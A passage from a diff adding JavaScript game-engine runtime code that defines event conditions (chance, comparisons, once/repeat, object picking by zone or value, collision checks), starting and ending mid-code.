+ if (mark == 0) return false;
+ if (mark == rhPtr.rhLoopCount) return true;
+ if (mark == rhPtr.rhLoopCount - 1) return true;
+ return false;
+ }
+ function CND_NEVER()
+ {
+ }
+ CND_NEVER.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ function CND_ALWAYS()
+ {
+ }
+ CND_ALWAYS.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return true;
+ }
+ }
+ function CCnd()
+ {
+ }
+ CCnd.prototype =
+ {
+ compute_NoRepeat: function (pHo)
+ {
+ return CCnd.compute_NoRepeatCol(this.evtIdentifier, pHo);
+ },
+ evaChooseValueOld: function (rhPtr, pRoutine)
+ {
+ var cpt = 0;
+
+ var pHo = rhPtr.rhEvtProg.evt_FirstObjectFromType(COI.OBJ_SPR);
+ while (pHo != null)
+ {
+ cpt++;
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (pRoutine.evaluate(pHo, value) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObjectFromType();
+ }
+ if (cpt != 0)
+ return true;
+ return false;
+ },
+ evaChooseValue: function (rhPtr, pRoutine)
+ {
+ var cpt = 0;
+
+ var pHo = rhPtr.rhEvtProg.evt_FirstObjectFromType(-1);
+ while (pHo != null)
+ {
+ cpt++;
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (pRoutine.evaluate(pHo, value) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObjectFromType();
+ }
+ if (cpt != 0)
+ return true;
+ return false;
+ },
+ evaExpObject: function (rhPtr, pRoutine)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var p = this.evtParams[0];
+ var value;
+
+ var token = p.tokens[0];
+ if ( (token.code == CExp.EXP_LONG || token.code == CExp.EXP_DOUBLE) && p.tokens[1].code == 0 )
+ {
+ var value = token.value;
+ while (pHo != null)
+ {
+ if (pRoutine.evaExpRoutine(pHo, value, p.comparaison) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ }
+ }
+ else
+ {
+ while (pHo != null)
+ {
+ value = rhPtr.get_EventExpressionInt(p);
+ if (pRoutine.evaExpRoutine(pHo, value, p.comparaison) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ }
+ }
+ if (cpt != 0)
+ return true;
+ return false;
+ },
+ evaObject: function (rhPtr, pRoutine)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ while (pHo != null)
+ {
+ if (pRoutine.evaObjectRoutine(pHo) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ }
+ if (cpt != 0)
+ return true;
+ return false;
+ },
+ compareCondition: function (rhPtr, param, v)
+ {
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[param]);
+ var comp = this.evtParams[param].comparaison;
+ return CRun.compareTo(v, value2, comp);
+ },
+ isColliding: function (rhPtr)
+ {
+ if (rhPtr.rhEvtProg.rh4ConditionsFalse)
+ {
+ rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ rhPtr.rhEvtProg.evt_FirstObject(this.evtParams[0].oiList);
+ return false;
+ }
+
+ var negate = false;
+ if ((this.evtFlags2 & CEvent.EVFLAG2_NOT) != 0)
+ negate = true;
+
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ if (pHo == null)
+ return CCnd.negaFALSE(this);
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+
+ var oi = this.evtParams[0].oi;
+ var oi2List;
+ if (oi >= 0)
+ {
+ rhPtr.isColArray[0] = oi;
+ rhPtr.isColArray[1] = this.evtParams[0].oiList;
+ oi2List = rhPtr.isColArray;
+ }
+ else
+ {
+ var qoil = rhPtr.rhEvtProg.qualToOiList[this.evtParams[0].oiList & 0x7FFF];
+ oi2List = qoil.qoiList;
+ }
+
+ var bFlag = false;
+ var list;
+ var list2 = new CArrayList();
+ var index, n;
+ var pHo2;
+ do
+ {
+ list = rhPtr.objectAllCol_IXY(pHo, pHo.roc.rcImage, pHo.roc.rcAngle, pHo.roc.rcScaleX, pHo.roc.rcScaleY, pHo.hoX, pHo.hoY, oi2List);
+ if (list == null)
+ {
+ if (negate == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else
+ {
+ bFlag = false;
+ for (index = 0; index < list.size(); index++)
+ {
+ pHo2 = list.get(index);
+ if ((pHo2.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ list2.add(pHo2);
+ bFlag = true;
+ }
+ }
+
+ if (negate == true)
+ {
+ if (bFlag == true)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else
+ {
+ if (bFlag == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+
+ if (cpt == 0)
+ return false;
+
+ pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtParams[0].oiList);
+ if (pHo == null) return false;
+ cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ if (negate == false)
+ {
+ do
+ {
+ for (index = 0; index < list2.size(); index++)
+ {
+ pHo2 = list2.get(index);
+ if (pHo == pHo2)
+ {
+ break;
+ }
+ }
+ if (index == list2.size())
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ if (cpt != 0) return true;
+ return false;
+ }
+
+ do
+ {
+ for (index = 0; index < list2.size(); index++)
+ {
+ pHo2 = list2.get(index);
+ if (pHo == pHo2)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ break;
+ }
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ if (cpt != 0) return true;
+ return false;
+ }
+ }
+ // CUT
+
+ // System conditions
+ // ------------------------------------------------------------------
+
+ function CND_CHANCE()
+ {
+ }
+ CND_CHANCE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var param1 = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var param2 = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (param1 >= param2)
+ return true;
+ if (param2 >= 1 && param1 > 0 && param1 <= param2)
+ {
+ var rnd = rhPtr.random(param2);
+ if (rnd <= param1)
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_COMPARE()
+ {
+ }
+ CND_COMPARE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var value1 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ var comp = this.evtParams[1].comparaison;
+ return CRun.compareTo(value1, value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_COMPAREG()
+ {
+ }
+ CND_COMPAREG.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 52)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ else
+ num = this.evtParams[0].value;
+
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ var comp = this.evtParams[1].comparaison;
+ return CRun.compareTo(gValue, value, comp);
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_EQ() {
+ }
+ CND_COMPAREGCONST_EQ.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue == value;
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_NE() {
+ }
+ CND_COMPAREGCONST_NE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue != value;
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_LE() {
+ }
+ CND_COMPAREGCONST_LE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue <= value;
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_LT() {
+ }
+ CND_COMPAREGCONST_LT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue < value;
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_GE() {
+ }
+ CND_COMPAREGCONST_GE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue >= value;
+ }
+ }
+ // -- CUT
+
+ function CND_COMPAREGCONST_GT() {
+ }
+ CND_COMPAREGCONST_GT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var num = this.evtParams[0].value;
+ var gValue = rhPtr.rhApp.getGlobalValueAt(num);
+ var p = this.evtParams[1];
+ var value = p.tokens[0].value;
+ return gValue > value;
+ }
+ }
+ // CUT
+
+ function CND_COMPAREGSTRING()
+ {
+ }
+ CND_COMPAREGSTRING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 59)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ else
+ num = this.evtParams[0].value;
+
+ var gString = rhPtr.rhApp.getGlobalStringAt(num);
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ var comp = this.evtParams[1].comparaison;
+ return CRun.compareTo(gString, value, comp);
+ }
+ }
+ // CUT
+
+ function CND_GROUPACTIVATED()
+ {
+ }
+ CND_GROUPACTIVATED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.events[this.evtParams[0].pointer];
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_INACTIVE) != 0)
+ return CCnd.negaFALSE(this);
+ return CCnd.negaTRUE(this);
+ }
+ }
+ // CUT
+
+ function CND_GROUPSTART()
+ {
+ }
+ CND_GROUPSTART.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_ONCE) != 0)
+ return false;
+ pEvg.evgFlags |= CEventGroup.EVGFLAGS_ONCE;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_NOMORE()
+ {
+ }
+ CND_NOMORE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOMORE) != 0)
+ return true;
+ if ((pEvg.evgFlags & (CEventGroup.EVGFLAGS_REPEAT | CEventGroup.EVGFLAGS_NOTALWAYS)) != 0)
+ return false;
+
+ if (this.evtParams[0].code == CParam.PARAM_EXPRESSIONNUM)
+ pEvg.evgInhibit = rhPtr.get_EventExpressionInt(this.evtParams[0]) / 10;
+ else
+ pEvg.evgInhibit = (this.evtParams[0].timer / 10);
+ pEvg.evgInhibitCpt = 0;
+ pEvg.evgFlags |= CEventGroup.EVGFLAGS_NOMORE;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_NOTALWAYS()
+ {
+ }
+ CND_NOTALWAYS.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOTALWAYS) != 0)
+ return true;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOMORE) != 0)
+ return false;
+ pEvg.evgInhibit = -2;
+ pEvg.evgFlags |= CEventGroup.EVGFLAGS_NOTALWAYS;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_ONCE()
+ {
+ }
+ CND_ONCE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_ONCE) != 0)
+ return false;
+ pEvg.evgFlags |= CEventGroup.EVGFLAGS_ONCE;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_ONLOOP()
+ {
+ }
+ CND_ONLOOP.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var pExp = this.evtParams[0];
+ if (pExp.tokens.length == 2 && pExp.tokens[0].code == ((3 << 16) | 65535) && pExp.tokens[1].code == 0)
+ {
+ if (CServices.compareStringsIgnoreCase(rhPtr.rh4CurrentFastLoop, pExp.tokens[0].string))
+ {
+ return true;
+ }
+ return false;
+ }
+
+ var pName = rhPtr.get_EventExpressionString(pExp);
+ if (CServices.compareStringsIgnoreCase(rhPtr.rh4CurrentFastLoop, pName) == false)
+ return false;
+ rhPtr.rhEvtProg.rh2ActionOn = false;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_REPEAT()
+ {
+ }
+ CND_REPEAT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_REPEAT) != 0)
+ return true;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOMORE) != 0)
+ return false;
+
+ pEvg.evgInhibitCpt = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pEvg.evgFlags |= CEventGroup.EVGFLAGS_REPEAT;
+ return true;
+ }
+ }
+ // CUT
+
+
+ // Create object conditions
+ // -----------------------------------------------------------------
+ function CND_CHOOSEALL()
+ {
+ }
+ CND_CHOOSEALL.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ObjectsFromType(0, -1);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects == 0)
+ return false;
+ var rnd = rhPtr.random(rhPtr.rhEvtProg.evtNSelectedObjects);
+ var pHo = rhPtr.rhEvtProg.count_ObjectsFromType(0, rnd);
+ rhPtr.rhEvtProg.evt_DeleteCurrent();
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEALL_OLD()
+ {
+ }
+ CND_CHOOSEALL_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ObjectsFromType(COI.OBJ_SPR, -1);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects == 0)
+ return false;
+ var rnd = rhPtr.random(rhPtr.rhEvtProg.evtNSelectedObjects);
+ var pHo = rhPtr.rhEvtProg.count_ObjectsFromType(COI.OBJ_SPR, rnd);
+ rhPtr.rhEvtProg.evt_DeleteCurrentType(COI.OBJ_SPR);
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEALLINLINE()
+ {
+ }
+ CND_CHOOSEALLINLINE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var x1 = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var y1 = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var x2 = rhPtr.get_EventExpressionInt(this.evtParams[2]);
+ var y2 = rhPtr.get_EventExpressionInt(this.evtParams[3]);
+
+ if (rhPtr.rhEvtProg.select_LineOfSight(x1, y1, x2, y2) != 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEALLINZONE()
+ {
+ }
+ CND_CHOOSEALLINZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhEvtProg.select_ZoneTypeObjects(this.evtParams[0], 0) != 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEALLINZONE_OLD()
+ {
+ }
+ CND_CHOOSEALLINZONE_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhEvtProg.select_ZoneTypeObjects(this.evtParams[0], COI.OBJ_SPR) != 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEFLAGRESET()
+ {
+ }
+ CND_CHOOSEFLAGRESET.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaChooseValue(rhPtr, this);
+ },
+ evaluate: function (pHo, value)
+ {
+ if (pHo.rov != null)
+ {
+ if ((pHo.rov.rvValueFlags & (1 << value)) == 0)
+ return true;
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_CHOOSEFLAGRESET_OLD()
+ {
+ }
+ CND_CHOOSEFLAGRESET_OLD.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaChooseValueOld(rhPtr, this);
+ },
+ evaluate: function (pHo, value)
+ {
+ if (pHo.rov != null)
+ {
+ if ((pHo.rov.rvValueFlags & (1 << value)) == 0)
+ return true;
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_CHOOSEFLAGSET()
+ {
+ }
+ CND_CHOOSEFLAGSET.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaChooseValue(rhPtr, this);
+ },
+ evaluate: function (pHo, value)
+ {
+ if (pHo.rov != null)
+ {
+ if ((pHo.rov.rvValueFlags & (1 << value)) != 0)
+ return true;
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_CHOOSEFLAGSET_OLD()
+ {
+ }
+ CND_CHOOSEFLAGSET_OLD.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaChooseValueOld(rhPtr, this);
+ },
+ evaluate: function (pHo, value)
+ {
+ if (pHo.rov != null)
+ {
+ if ((pHo.rov.rvValueFlags & (1 << value)) != 0)
+ return true;
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_CHOOSEVALUE()
+ {
+ }
+ CND_CHOOSEVALUE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var cpt = 0;
+
+ var pHo = rhPtr.rhEvtProg.evt_FirstObjectFromType(-1);
+ while (pHo != null)
+ {
+ cpt++;
+
+ var number;
+ if (this.evtParams[0].code == 53)
+ number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ number = this.evtParams[0].value;
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+
+ if (pHo.rov != null)
+ {
+ var value = pHo.rov.getValue(number);
+ var comp = this.evtParams[1].comparaison;
+ if (CRun.compareTo(value, value2, comp) == false)
+ {
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ cpt--;
+ }
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObjectFromType();
+ }
+ ;
+ if (cpt != 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEVALUE_OLD()
+ {
+ }
+ CND_CHOOSEVALUE_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var cpt = 0;
+
+ var pHo = rhPtr.rhEvtProg.evt_FirstObjectFromType(COI.OBJ_SPR);
+ while (pHo != null)
+ {
+ cpt++;
+
+ var number;
+ if (evtParams[0].code == 53)
+ number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ number = this.evtParams[0].value;
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+
+ if (pHo.rov != null)
+ {
+ var value = pHo.rov.getValue(number);
+ var comp = this.evtParams[1].comparaison;
+ if (CRun.compareTo(value, value2, comp) == false)
+ {
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ cpt--;
+ }
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObjectFromType();
+ }
+ ;
+ if (cpt != 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEZONE()
+ {
+ }
+ CND_CHOOSEZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(p, -1, 0);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects == 0)
+ return false;
+
+ var rnd = rhPtr.random(rhPtr.rhEvtProg.evtNSelectedObjects);
+ var pHo = rhPtr.rhEvtProg.count_ZoneTypeObjects(p, rnd, 0);
+ rhPtr.rhEvtProg.evt_DeleteCurrent();
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_CHOOSEZONE_OLD()
+ {
+ }
+ CND_CHOOSEZONE_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(p, -1, COI.OBJ_SPR);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects == 0)
+ return false;
+
+ var rnd = rhPtr.random(rhPtr.rhEvtProg.evtNSelectedObjects);
+ var pHo = rhPtr.rhEvtProg.count_ZoneTypeObjects(p, rnd, COI.OBJ_SPR);
+ rhPtr.rhEvtProg.evt_DeleteCurrent();
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_NOMOREALLZONE()
+ {
+ }
+ CND_NOMOREALLZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(this.evtParams[0], -1, 0);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects != 0)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_NOMOREALLZONE_OLD()
+ {
+ }
+ CND_NOMOREALLZONE_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(this.evtParams[0], -1, COI.OBJ_SPR);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects != 0)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_NUMOFALLOBJECT()
+ {
+ }
+ CND_NUMOFALLOBJECT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ var comp = this.evtParams[0].comparaison;
+ return CRun.compareTo(rhPtr.rhNObjects, value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_NUMOFALLOBJECT_OLD()
+ {
+ }
+ CND_NUMOFALLOBJECT_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ObjectsFromType(COI.OBJ_SPR, -1);
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ var comp = this.evtParams[0].comparaison;
+ return CRun.compareTo(rhPtr.rhEvtProg.evtNSelectedObjects, value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_NUMOFALLZONE()
+ {
+ }
+ CND_NUMOFALLZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(this.evtParams[0], -1, 0);
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ var comp = this.evtParams[1].comparaison;
+ return CRun.compareTo(rhPtr.rhEvtProg.evtNSelectedObjects, value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_NUMOFALLZONE_OLD()
+ {
+ }
+ CND_NUMOFALLZONE_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ZoneTypeObjects(this.evtParams[0], -1, COI.OBJ_SPR);
+
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ var comp = this.evtParams[1].comparaison;
+ return CRun.compareTo(rhPtr.rhEvtProg.evtNSelectedObjects, value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_PICKFROMID()
+ {
+ }
+ CND_PICKFROMID.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ return rhPtr.rhEvtProg.pickFromId(value);
+ }
+ }
+ // CUT
+
+ function CND_PICKFROMID_OLD()
+ {
+ }
+ CND_PICKFROMID_OLD.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ return rhPtr.rhEvtProg.pickFromId(value);
+ }
+ }
+ // CUT
+
+ function CND_EXTCHOOSE()
+ {
+ }
+ CND_EXTCHOOSE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ rhPtr.rhEvtProg.count_ObjectsFromOiList(this.evtOiList, -1);
+ if (rhPtr.rhEvtProg.evtNSelectedObjects == 0)
+ return false;
+ var rnd = rhPtr.random(rhPtr.rhEvtProg.evtNSelectedObjects);
+ var pHo = rhPtr.rhEvtProg.count_ObjectsFromOiList(this.evtOiList, rnd);
+ rhPtr.rhEvtProg.evt_ForceOneObject(this.evtOiList, pHo);
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_EXTONLOOP()
+ {
+ }
+ CND_EXTONLOOP.prototype =
+ {
+ eva1: function (rhPtr, pHo)
+ {
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (rhPtr.rh4CurrentForEach != null)
+ {
